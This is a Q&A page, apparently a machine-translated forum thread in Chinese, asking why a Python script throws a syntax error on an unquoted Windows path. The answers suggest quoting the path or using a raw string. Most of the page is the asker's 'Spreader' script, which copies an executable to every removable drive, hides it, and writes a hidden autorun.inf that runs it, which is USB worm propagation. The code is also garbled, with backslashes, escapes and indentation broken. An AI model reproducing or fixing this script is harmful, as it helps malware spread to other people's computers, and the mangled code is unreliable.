声明路径时出现语法错误



想知道如果我声明路径,为什么在编译此脚本时会出现语法错误?

我已经搜索了一些,找不到与此相关的任何内容,有人可以解释我如何添加路径吗?

   if __name__ == "__main__":  # This isn't part of the actual code
       spread = Spreader (C:UsersTestbin.exe) # C: the ':' is the syntax error

import win32api
import win32con
import win32file
import sys
import os
class Spreader(object):
def __init__(self, path):    # path must be absolute
  print (" [*] Checking information")
  self.filename = path.split("\")[-1]
  self.driveFilename = self.filename
  if not self.driveFilename.startswith("~"):
    self.driveFilename = "~" + self.driveFilename
  print ("t- Local filename: ") + self.filename
  print ("t- Driver filename: ") + self.driveFilename
  self.path = "\".join(path.split("\")[:-1]) + "\" + self.filename
  print ("t- Full path: ") + self.path
  print ("n [*] Getting removable drives")
  self.drives = self.__getRemovableDrives()
  if len(self.drives) == None:
    print (" [-] No removable drives available")
  sys.exit()
  for drive in self.drives:
    print ("t- ") + drive
  print ("n [*] Spreading")
  self.__spread()
  print ("n [+] Successfully spread")
def __getRemovableDrives(self):
  removableDrives = []
  drives = win32api.GetLogicalDriveStrings().split("00")[:-1]
  for drive in drives:
    driveType = win32file.GetDriveType(drive)
  if driveType == win32file.DRIVE_REMOVABLE:
        removableDrives.append(drive)
  return removableDrives
def __spread(self):
  for drive in self.drives:
    if drive == "A:\":
        continue
  else:
        driveFile = drive + self.driveFilename
        driveAutorun = drive + "autorun.inf"
        print (" [+] ") + drive
        if not os.path.exists(driveFile):
          self.__copyFile(driveFile)
        if not os.path.exists(driveAutorun):
          self.__createAutorun(driveAutorun)
def __copyFile(self, driveFile):
  print ("t- Copying file: ") + self.driveFilename,
  win32file.CopyFile(self.path, driveFile, 0)
  print ("tttDONE")
  print ("t- Hidding file"),
  win32api.SetFileAttributes(driveFile,
         win32con.FILE_ATTRIBUTE_HIDDEN)
  print ("tttDONE")
def __createAutorun(self, driveAutorun):
  print ("t- Creating autorun.inf"),
  autorun = open(driveAutorun, "w")
  content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shellopen=Open
shellopenCommand={0}
shellexplore=explore
shellexplorecommand={0}""".format(self.driveFilename)
  autorun.write(content)
  autorun.close()
  print ("tttDONE")
  print ("t- Hidding autorun"),
  win32api.SetFileAttributes(driveAutorun,
         win32con.FILE_ATTRIBUTE_HIDDEN)
  print ("tttDONE")
  if __name__ == "__main__":
       spread = Spreader (C:UsersTestbin.exe)

必须将路径括在引号中才能使其成为字符串:

spread = Spreader('C:/Users/Test/bin.exe')

此语法错误:

spread = Spreader (C:UsersTestbin.exe)

是因为你没有引用你的道路。 此外,您的路径中有反斜杠(您是否知道 Windows 也不包括/作为目录分隔符?),因此请使用原始字符串:

spread = Spreader(r"C:UsersTestbin.exe")

正如@domoarrigato提到的,您会注意到我已经删除了函数调用Spreader和括号之间的空格。 这是为了符合 Python 风格指南 PEP008,对您的语法错误没有影响。

最新更新